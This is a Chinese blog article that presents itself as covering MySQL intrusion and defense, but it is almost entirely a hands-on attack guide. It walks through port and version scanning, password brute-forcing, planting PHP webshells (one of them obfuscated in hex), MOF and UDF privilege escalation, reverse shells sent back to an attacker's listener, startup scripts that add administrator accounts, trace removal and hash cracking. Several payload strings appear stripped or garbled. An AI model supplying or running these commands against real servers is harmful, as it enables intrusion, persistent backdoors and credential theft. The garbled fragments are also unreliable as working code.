歡迎光臨
每天分享高質量文章

教你一些MySQL資料庫入侵及防禦方法

來自:http://blog.51cto.com/simeon/1981572


作者介紹

陳小兵,高階工程師,具有豐富的資訊系統專案經驗及18年以上網路安全經驗,現主要從事網路安全及資料庫技術研究工作。《駭客攻防及實戰案例解析》《Web滲透及實戰案例解析》《安全之路-Web滲透及實戰案例解析第二版》《駭客攻防實戰加密與解密》《網路攻防實戰研究:漏洞利用與提權》作者,在國內多本學術期刊發表論文20餘篇,併在多本IT雜誌發表文章100餘篇。


在針對網站滲透中,很多都是跟 MySQL 資料庫有關,各種 MySQL 註入、MySQL 提權、MySQL 資料庫 Root 賬號 webshell 獲取等,但沒有一個對 MySQL 資料庫滲透較為全面的總結。


針對這種情況我們開展了研究,但技術的進步永無止境,思想有多遠,路就可以走多遠,在研究 MySQL 資料庫安全之餘,我們也對 MySQL 如何透過 msf、sqlmap 等來進行掃描、漏洞利用、提權、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。


一、MySQL 資訊收集


1、埠資訊收集


MySQL 預設埠是 3306 埠,但也有自定義埠,針對預設埠掃描主要利用掃描軟體進行探測,推薦使用:


  • iisputter,直接填寫 3306 埠,IP 地址填寫單個或者 C 段地址;

  • Nmap 掃描 Nmap -p 3306 192.168.1.1-254。

特定標的的滲透,可能需要對全埠進行掃描,可以使用 Nmap 對某一個 IP 地址進行全埠掃描,埠掃描軟體還有 sfind 等 DOS 下掃描的工具。


2、版本資訊收集


msf 檢視版本資訊“auxiliary/scanner/mysql/mysql_version”模組


以掃描主機 192.168.157.130 為例,命令為:

use auxiliary/scanner/mysql/mysql_version

set rhosts 192.168.157.130

run

MySQL 查詢版本命令:

SELECT @@version、SELECT  version();

sqlmap 透過註入點掃描確認資訊:

sqlmap.py -u url –dbms mysql

phpmyadmin 管理頁面登入後檢視 localhost->變數->伺服器變數和設定中的 version 引數值。


3、資料庫管理資訊收集


MySQL 管理工具有多種,例如 phpmyadmin 網站管理,Navicat for MySQL 以及 MySQL Front 等客戶端工具。這些工具有的會直接儲存配置資訊,這些資訊包含資料庫伺服器地址和資料庫使用者名稱以及密碼,透過嗅探或者破解配置檔案可以獲取密碼等資訊。


4、msf 資訊收集模組


MySQL 雜湊值列舉:

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password root

run

獲取相關資訊:

use auxiliary/admin/mysql/mysql_enum

set username root

set password root

run

獲取資料庫版本,作業系統名稱,架構,資料庫目錄,資料庫使用者以及密碼雜湊值。


執行 MySQL 陳述句,連線成功後可以在 msf 執行 SQL 陳述句,跟 sqlmap 的“–sql-shell”模組類似

use auxiliary/admin/mysql/mysql_sql

將mysql_schem匯出到本地/root/.msf4/loot/檔案夾下

use auxiliary/scanner/mysql/mysql_schemadump

檔案列舉和目錄可寫資訊列舉

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

沒有測試成功過,需要定義列舉目錄和相關檔案,覺得基本沒什麼用。


二、MySQL 密碼獲取


1、暴力破解


MySQL 暴力破解主要有幾種


網頁線上連線破解:


可以使用 burpsuite 和 phpMyAdmin 多執行緒批次破解工具。

下載:

  • https://portswigger.net/burp/

  • http://pan.baidu.com/s/1c1LD6co


msf 透過命令列進行暴力破解:


msf 破解 MySQL 密碼模組 auxiliary/scanner/mysql/mysql_login,其引數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE引數。


對單一主機僅僅需要設定 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它引數根據實際情況進行設定。


場景A:對內網獲取 Root 某個口令後,擴充套件滲透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set password root

set username root

run

執行後對 192.168.157.1-254 進行 MySQL 密碼掃描驗證。


場景B:使用密碼字典進行掃描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set pass_file /tmp/password.txt

set username root

run


使用 nmap 掃描並破解密碼:


對某一個 IP 或者 IP 地址段進行 nmap 預設密碼暴力破解並掃描

nmap –script=mysql-brute 192.168.157.130

nmap –script=mysql-brute 192.168.157.1-254

使用 Root 賬號 Root 密碼進行 MySQL 密碼驗證並掃描獲取指定 IP 地址的埠資訊以及 MySQL 資料庫相關資訊

nmap -sV –script=mysql-databases –script-argsmysqluser=root,mysqlpass=root 192.168.157.130

檢查 Root 空口令

nmap –script mysql-empty-password 192.168.195.130


對 MySQL 口令進行掃描:


使用 hscan 工具對 MySQL 口令進行掃描,需要設定掃描 IP 地址段以及資料庫口令字典及使用者名稱字典。


2、原始碼洩露


網站原始碼備份檔案:


一些網站原始碼檔案中會包含資料庫連線檔案,透過檢視這些檔案可以獲取資料庫賬號和密碼。一般常見的資料庫連線檔案為 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘雞可以自定義網站等名稱對 zip/rar/tar/tar.gz/gz/sql 等字尾檔案進行掃描。


配置備份檔案:


使用 ultraedit 等編輯檔案編輯資料庫配置檔案後,會留下 bak 檔案。


3、檔案包含


本地檔案包含漏洞可以包含檔案,透過檢視檔案程式碼獲取資料庫配置檔案,進而讀取資料庫使用者名稱和密碼。


4、其它情況


有些軟體會將 IP 地址、資料庫使用者名稱和密碼寫行程式中,執行程式後,透過 cain 軟體進行嗅探,可以獲取資料庫密碼。另外 MySQL客戶端管理工具有的管理員會建立連線記錄,這些連線記錄儲存了使用者名稱、密碼和連線 IP 地址或者主機名,透過配置檔案或者嗅探可以獲取使用者名稱和密碼。


三、MySQL 獲取 webshell


1、phpmyadminroot 賬號獲取 webshell


MySQL Root 賬號透過 phpMyAdmin 獲取 webshell 的思路,主要有下麵幾種方式,以第1)2)6)8)方法較佳,其它可以根據實際情況來進行。


1)直接讀取後門檔案:


透過程式報錯、phpinfo 函式、程式配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,因此在目錄下留有後門檔案透過 load_file 直接讀取。


2)直接匯出一句話後門:


前提需要知道網站的真實物理路徑,例如呼求偶真實路徑 D:\work\WWW,則可以透過執行以下查詢,來獲取一句話後門檔案 cmd.php,訪問地址:http://www.somesite.com/cmd.php

select ‘‘INTO OUTFILE ‘D:/work/WWW/antian365.php’


3)建立資料庫匯出一句話後門:


在查詢視窗直接執行以下程式碼即可,跟2)原理類似

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`antian365` (`temp` ) VALUES(‘‘);

SELECT `temp` FROM `antian365` INTO OUTFILE’D:/www/antian365.php’;

DROP TABLE IF EXISTS `antian365`;


4)可執行命令方式:


建立執行命令形式的 Shell,但前提是對方未關閉系統函式。該方法匯出成功後可以直接執行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=後面直接執行dos命令)

select ‘\’;system($_GET[\’cmd\’]); echo \’

\’; ?>’ INTO OUTFILE ‘d:/www/antian365.php’

另外在 Linux 下可以匯出直接執行命令的 Shell

SELECT ‘ system($_GET[\’c\’]); ?>’ INTO OUTFILE ‘/var/www/shell.php’;

http://localhost/shell.php?c=cat%20/etc/passwd


5)過防毒軟體方式:


透過後臺或者存在上傳圖片的地方,上傳圖片 publicguide.jpg,內容如下

“.base64_decode($a));?>

然後透過圖片包含 temp.php,匯出 webshell

select ‘‘INTO OUTFILE ‘D:/work/WWW/antian365.php’

一句話後門密碼:antian365


6)直接匯出加密 webshell:


一句話後門檔案密碼:pp64mqa2x1rnw68,執行以下查詢直接匯出加密 webshell,D:/WEB/IPTEST/22.php,註意在實際過程需要修改 D:/WEB/IPTEST/22.php

select unhex(‘203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E’) into dumpfile ‘D:/WEB/IPTEST/22.php’

(上下拉動可完整檢視)


註意:也可以使用 http://tool.lu/hexstr/ 網站的程式碼轉換來實現,將需要匯出的檔案程式碼複製到網站的字串中,透過字串轉成十六進位制,將十六進位制字串放入 unhex 函式進行查詢即可

select unhex(‘十六進位制字串’) into dumpfile ‘D:/WEB/shell.php’


7)CMS 系統獲取 webshell:


有些情況下無法獲取網站的真實路徑,則意味著無法直接匯出一句話 webshell,可以透過 CMS 系統管理賬號登入系統後,尋找漏洞來突破,例如 dedecms 可以透過破解管理員賬號後直接上傳檔案來獲取 webshell。Discuz!的 UC_key 可以直接獲取 webshell。甚至某些系統可直接上傳 php 檔案。下麵是一些 CMS 系統滲透的技巧:


  • dedecms 系統的密碼有直接 md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最後1位,然後對剩餘的值進行md5解密即可;

  • phpcms v9 版本的密碼需要加 salt 進行破解,需要選擇破解演演算法 md5(md5($pass).$salt) 進行破解;

  • Discuz!論壇帳號儲存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如 a0513df9929afc972f024fa4e586e829:399793。


8)general_log_file 獲取 webshell:


檢視 genera 檔案配置情況

show global variables like “%genera%”;

關閉 general_log

set global general_log=off;

透過 general_log 選項來獲取 webshell

set global general_log=’on’;

SET global general_log_file=’D:/phpStudy/WWW/cmd.php’;

在查詢中執行陳述句

SELECT ‘‘;

Shell 為 cmd.php,一句話後門,密碼為cmd。


2、Sqlmap 註入點獲取 webshell


Sqlmap 註入點獲取 webshell 的前提是具備寫許可權,一般是 Root 賬號,透過執行命令來獲取

sqlmap -u url–os-shell

  echo “” >/data/www/1.php


四、MySQL 提權


1、mof提權


webshell 上傳 mof 檔案提權:


MySQL Root 許可權 MOF 方法提權是來自國外 Kingcope 大牛釋出的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱 MySQL 遠端提權 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 儲存庫的託管物件格式 (MOF) 檔案:


  • 方法1:執行 MOF 檔案指定為命令列引數 Mofcomp.exe 檔案;

  • 方法2:使用 IMofCompiler 介面和 $ CompileFile 方法;

  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 檔案夾的 MOF 檔案。


Microsoft 建議您到儲存庫編譯 MOF 檔案使用前兩種方法。也就是執行 Mofcomp.exe 檔案,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向後相容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。註意使用 MOF 方法提權的前提是當前 Root 帳號可以複製檔案到 %SystemRoot%\System32\Wbem\MOF 目錄下,否則會失敗!


該漏洞的利用前提條件是必須具備 MySQL 的 Root 許可權,在 Kingcope 公佈的 0day 中公佈了一個 pl 利用指令碼。

perl mysql_win_remote.pl 192.168.2.100 root “” 192.168.2.150 5555

192.168.2.100 為 MySQL 資料庫所在伺服器,MySQL 口令為空,反彈到 192.168.2.150 的 5555 埠上。


生成 nullevt.mof 檔案:


將以下程式碼儲存為nullevt.mof檔案:

#pragma namespace(“\\\\.\\root\\subscription”) 

instance of __EventFilter as $EventFilter

EventNamespace = “Root\\Cimv2”; 

Name  = “filtP2”; 

    Query = “Select * From __InstanceModificationEvent ” 

            “Where TargetInstance Isa \”Win32_LocalTime\” ” 

            “And TargetInstance.Second = 5”; 

QueryLanguage = “WQL”; 

}; 

instance of ActiveScriptEventConsumer as $Consumer 

    Name = “consPCSV2”; 

ScriptingEngine = “JScript”; 

ScriptText = 

    “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add”)”; 

}; 

instance of __FilterToConsumerBinding

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

(上下拉動可完整檢視)


透過 MySQL 查詢將檔案匯入:


執行以下查詢陳述句,將上面生成的 nullevt.mof 匯入到 c:\windows\system32\wbem\mof\ 目錄下在windows7 中預設是拒絕訪問的。匯入後系統會自動執行,執行命令

selectload_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;


msf 直接 mof 提權:


msf 下的 exploit/windows/mysql/mysql_mof 模組提供了直接 mof 提權,不過該漏洞成功跟作業系統許可權和 MySQL 資料庫版本有關,執行成功後會直接反彈 Shell 到 meterpreter

use exploit/windows/mysql/mysql_mof

set rhost 192.168.157.1 //設定需要提權的遠端主機IP地址

set rport 3306 //設定mysql的遠端埠

set password root //設定mysql資料庫root密碼

set username root //設定mysql使用者名稱

options //檢視設定

run 0


技巧:要是能夠透過網頁連線管理(phpmyadmin),則可以修改 host 為“%”並掃清許可權後,則可以透過 msf 等工具遠端連線資料庫。預設 Root 等賬號不允許遠端連線,除非管理員或者資料庫使用者自己設定。


方法1:本地登入 MySQL,更改 “MySQL” 資料庫裡的 “user” 表裡的 “host” 項,將”localhost”改為”%”

use mysql;

 update user set host = ‘%’ where user = ‘root’;

FLUSH PRIVILEGES ;

 select host, user from user;


方法2:直接授權(推薦)

從任何主機上使用 Root 使用者,密碼:youpassword(你的root密碼)連線到 MySQL 伺服器

# mysql -u root -proot

GRANT ALL PRIVILEGES ON *.* TO ‘root’@’%’ IDENTIFIED BY ‘youpassword’ WITH GRANT OPTION;

FLUSH PRIVILEGES;


推薦重新增加一個使用者,在實際測試過程中發現很多伺服器使用 Root 配置了多個地址,修改後可能會影響實際系統的執行。在實際測試過程中因此建議新增一個使用者,授權所有許可權,而不是直接更改 Root 配置。


2、udf 提權


UDF 提權是利用 MySQL 的自定義函式功能,將 MySQL 賬號轉化為系統 system 許可權,利用條件的標的系統是 Windows(Win2000/XP/2003);擁有 MySQL 的某個使用者賬號,此賬號必須有對 MySQL 的 insert 和 delete 許可權以建立和拋棄函式,有 Root 賬號密碼Windows 下 UDF 提權對於 Windows2008 以下伺服器比較適用,也即針對 Windows2000、Windows2003 的成功率較高。


UDF 提權條件:


  • MySQL 版本大於 5.1 版本 udf.dll 檔案必須放置於 MySQL 安裝目錄下的 lib\plugin 檔案夾下。

  • MySQL 版本小於 5.1 版本。udf.dll 檔案在 Windows2003 下放置於 c:\windows\system32,在 Windows2000 下放置於 c:\winnt\system32。

  • 掌握的 MySQL 資料庫的賬號有對 MySQL 的 insert 和 delete 許可權以建立和拋棄函式,一般以 Root 賬號為佳,具備 Root 賬號所具備的許可權的其它賬號也可以。

  • 可以將 udf.dll 寫入到相應目錄的許可權。


提權方法:


獲取資料庫版本、資料位置以及外掛位置等資訊

select version();//獲取資料庫版本

select user();//獲取資料庫使用者

select @@basedir ;//獲取安裝目錄

show variables like ‘%plugins%’;  //尋找mysql安裝路徑

匯出路徑

C:\Winnt\udf.dll    Windows 2000

C:\Windows\udf.dll   Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll)


MySQL 5.1 以上版本,必須要把 udf.dll 檔案放到 MySQL 安裝目錄下的 libplugin 檔案夾下才能建立自定義函式。該目錄預設是不存在的,這就需要我們使用 webshell 找到 MySQL 的安裝目錄,併在安裝目錄下建立 libplugin 檔案夾,然後將 udf.dll 檔案匯出到該目錄即可。


在某些情況下,我們會遇到 Can’t open shared library 的情況,這時就需要我們把 udf.dll 匯出到 lib\plugin 目錄下才可以,網上大牛發現利用 NTFS ADS 流來建立檔案夾的方法

select @@basedir;  //查詢到mysql的目錄

select ‘It is dll’ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION’;   //利用NTFS ADS建立lib目錄

select ‘It is dll’ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION’;//利用NTFS ADS建立plugin目錄

執行成功以後就會 plugin 目錄,然後再進行匯出 udf.dll 即可。


建立 cmdshell 函式,該函式叫什麼名字在後續中則使用該函式進行查詢

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

執行命令

select sys_eval(‘whoami’);

一般情況下不會出現建立不成功哦。連不上 3389 可以先停止 windows 防火牆和篩選

select sys_eval(‘net stop policyagent’);

select sys_eval(‘net stop sharedaccess’);

udf.dll 下常見函式

cmdshell  執行cmd;

downloader  下載者,到網上下載指定檔案並儲存到指定目錄;

open3389    通用開3389終端服務,可指定埠(不改埠無需重啟);

backshell   反彈Shell;

ProcessView 列舉系統行程;

KillProcess 終止指定行程;

regread     讀登錄檔;

regwrite    寫登錄檔;

shut        關機,登出,重啟;

about       說明與幫助函式;

具體使用者示例

select cmdshell(‘net user iis_user 123!@#abcABC /add’);

select cmdshell(‘net localgroup administrators iis_user /add’);

select cmdshell(‘regedit /s d:web3389.reg’);

select cmdshell(‘netstat -an’);

清除痕跡

drop function cmdshell;//將函式刪除

刪除 udf.dll 檔案以及其它相關入侵檔案及日誌。


常見錯誤

#1290 – The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

SHOW VARIABLES LIKE “secure_file_priv”

在 my.ini 或者 mysql.cnf  檔案中登出 (使用#號) 包含 secure_file_priv 的行。


1123 – Can’t initialize function ‘backshell’; UDFs are unavailable with the –skip-grant-tables option,需要將 my.ini 中的 skip-grant-tables 選項去掉。


webshell 下 udf 提權:


透過整合 udf 提權的 webshell 輸入資料庫使用者名稱及密碼以及資料庫伺服器地址或者IP透過連線後匯出進行提權。


MySQL 提權綜合利用工具:


v5est0r 寫了一個 MySQL 提權綜合利用工具,詳細情況請參考其程式碼共享網站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:


  • 自動匯出你的 backdoor 和 mof 檔案;

  • 自動判斷 MySQL 版本,根據版本不同匯出 UDF 的 DLL 到不同目錄,UDF 提權;

  • 匯出 LPK.dll 檔案,劫持系統目錄提權;

  • 寫啟動項提權。


UdF 自動提權

python root.py -a 127.0.0.1 -p root -e “ver&whoami;” -m udf

LPK 劫持提權

python root.py -a 127.0.0.1 -p root -e “ver&whoami;” -m lpk

啟動項提權

python root.py -a 127.0.0.1 -p root -e “ver&whoami;” –mst

例如透過 LOAD_FILE 來檢視 MySQL 配置檔案 my.ini,如果其中配置了 skip-grant-tables,這無法進行提權。


3、無法獲取 webshell 提權


連線 MySQL:

  • mysql.exe -h ip -uroot -p

  • phpmyadmin

  • Navicat for MySQL


檢視資料庫版本和資料路徑:


SELECT VERSION( );

Select @@datadir;

5.1 以下版本,將 dll 匯入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 透過以下查詢來獲取外掛路徑

SHOW VARIABLES WHERE Variable_Name LIKE “%dir”;

show variables like ‘%plugin%’ ;

select load_file(‘C:/phpStudy/Apache/conf/httpd.conf’)

select load_file(‘C:/phpStudy/Apache/conf/vhosts.conf’)

select load_file(‘C:/phpStudy/Apache/conf/extra/vhosts.conf’)

select load_file(‘C:/phpStudy/Apache/conf/extra/httpd.conf’)

select load_file(‘d:/phpStudy/Apache/conf/vhosts.conf’)


修改 MySQL.txt:


MySQL.txt 為 udf.dll 的二進位制檔案轉成十六進位制程式碼。


  • 先執行匯入 ghost 表中的內容,修改以下程式碼的末尾程式碼:select backshell(“YourIP”,4444);

  • 匯出檔案到某個目錄


匯出過程:

select data from Ghost into dumpfile ‘c:/windows/mysqldll.dll’; 

select data from Ghost into dumpfile ‘c:/windows/system32/mysqldll’; 

select data from Ghost into dumpfile ‘c:/phpStudy/MySQL/lib/plugin/mysqldll’; 

select data from Ghost into dumpfile ‘E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll’; 

select data from Ghost into dumpfile ‘C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll’ 

select data from Ghost into dumpfile ‘D:/phpStudy/MySQL/lib/plugin/mysqldll.dll’; 

C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd

select load_file(‘C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm’);

select data from Ghost into dumpfile ‘C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll’

(上下拉動可完整檢視)


  • 檢視 FUNCTION 中是否存在 cmdshell 和 backshell,存在則刪除

drop FUNCTION cmdshell;//刪除cmdshell

drop FUNCTION backshell;//刪除backshell

  • 建立backshell

CREATE FUNCTION backshell RETURNS STRING SONAME ‘mysqldll.dll’; //建立backshell
  • 在具備獨立主機的伺服器上執行監聽

nc -vv -l -p 44444
  • 執行查詢

select backshell(“192.192.192.1”,44444);//修改192.192.192.1為你的IP和埠


獲取 webshell 後新增使用者命令:


註意如果不能直接執行,則需要到 c:\windows\system32\ 下執行

net user antian365 Www.Antian365.Com /add 

net localgroup administrators antian365


4、Sqlmap 直連資料庫提權


Sqlmap 直接連線資料庫提權,需要有寫入許可權和 Root 賬號及密碼,命令如下:


  • 連線資料庫:sqlmap.py -d “mysql://root:123456@219.115.1.1:3306/mysql” –os-shell

  • 選擇作業系統的架構,32 位作業系統選擇 1,64 位選擇 2

  • 自動上傳 udf 或提示 os-shell

  • 執行 whomai 命令如果獲取系統許可權,則表示提權成功。


Msfudf 提權:


Kali 滲透測試平臺下執行(kali下載地址https://www.kali.org/downloads/)

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit


msf 下 udf 提權成功率並不高,跟 windows 作業系統版本,許可權和資料庫版本有關,特別是 secure-file-priv 選項,如果有該選項基本不會成功。


5、啟動項提權


建立表並插入 vbs 指令碼到表中:


依次使用以下命令

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values (“set wshshell=createobject (“”wscript.shell”” ) ” );

insert into a values (“a=wshshell.run (“”cmd.exe /c net user aspnetaspnettest/add””,0)”) ;

insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators aspnet /add””,0) ” );

select * from a;

匯出 vbs 指令碼到啟動:


使用以下命令將剛才在 a 表中建立的 vbs 指令碼匯出到啟動選項中

select * from a into outfile “C:\\Documents and Settings\\All Users\\「開始」選單\\程式\\啟動\\a.vbs”;

匯入成功後,系統重新啟動時會自動新增密碼為“1”且使用者名稱稱為“1”的使用者到管理員組中。在實際使用過程中該指令碼成功執行的機率比較低,有時候會出現不能匯出的錯誤。


推薦使用以下指令碼

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values (“net user Aspnet123545345!* /add”);

insert into b values (“net localgroup administrators Aspnet /add”);

insert into b values (“del b.bat”);

select * from b into outfile “C:\\Documents and Settings\\All Users\\「開始」選單\\程式\\啟動\\b.bat”;

該指令碼執行後雖然會閃現 DOS 視窗,如果有許可權匯入到啟動選項中,則一定會執行成功,在虛擬機器中透過 MySQL 聯結器連線並執行以上命令後,在“C:\Documents and Settings\All Users\「開始」選單\程式\啟動”目錄中會有剛才匯出的 b.bat 指令碼檔案。


說明:在不同的作業系統中“C:\Documents and Settings\All Users\「開始」選單\程式\啟動”目錄檔案名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本作業系統則其插入的程式碼為

select * from b into outfile “C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat”;

Windows 2008 Server的啟動目錄為:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以參考如下寫法

create table a (cmd text);

insert into a values (“set wshshell=createobject (“”wscript.shell”” ) ” );

insert into a values (“a=wshshell.run (“”cmd.exe /c net user antian365 qwer1234!@# /add””,0) ” );

insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators antian365 /add””,0) ” );

select * from a into outfile “C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs”;


msf 下模組 exploit/windows/mysql/mysql_start_up 提權:

  

      use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf 下 mysql_start_up 提權有一定的機率,對英文版系統支援較好。


五、msf 其它相關漏洞提權


1、MySQL 身份認證漏洞及利用(CVE-2012-2122)


當連線 MariaDB/MySQL 時,輸入的密碼會與期望的正確密碼比較,由於不正確的處理,會導致即便是 memcmp() 傳回一個非零值,也會使 MySQL 認為兩個密碼是相同的。也就是說只要知道使用者名稱,不斷嘗試就能夠直接登入 SQL 資料庫。按照公告說法大約 256 次就能夠蒙對一次。受影響的產品: 


  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞


use auxiliary/scanner/mysql/mysql_authbypass_hashdump


2、exploit/windows/mysql/mysql_yassl_hello


3、exploit/windows/mysql/scrutinizer_upload_exec


六、MySQL 密碼破解


1、Cain 工具破解 MySQL 密碼


使用 UltraEdit-32 編輯器直接開啟 user.MYD 檔案,開啟後使用二進位制樣式進行檢視,在 Root 使用者後面是一串字串,選中這些字串將其複製到記事本中,這些字串即為使用者加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。


註意:

  • root 後面的“*”不要複製到字串中。

  • 在有些情況下需要往後面看看,否則得到的不是完整的 MYSQLSHA1 密碼,總之其正確的密碼位數是 40 位。


安裝 cain 工具,使用 cracker,右鍵單擊“Add tolist”將 MySQL Hashes 值加入到破解串列中,使用軟體中的字典、暴力破解等方式來進行暴力破解。


2、網站線上密碼破解


  • cmd5.com 破解。將獲取的 MySQL 值放在 cmd5.com 網站中進行查詢,MySQL 密碼一般都是收費的;

  • somd5.com 破解。Somd5.com 是後面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次後需要重新輸入驗證碼。


3、Oclhash 破解


Hashcat 支援很多種破解演演算法,免費開源軟體,官方網站 https://hashcat.net/hashcat/,破解命令

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323型別

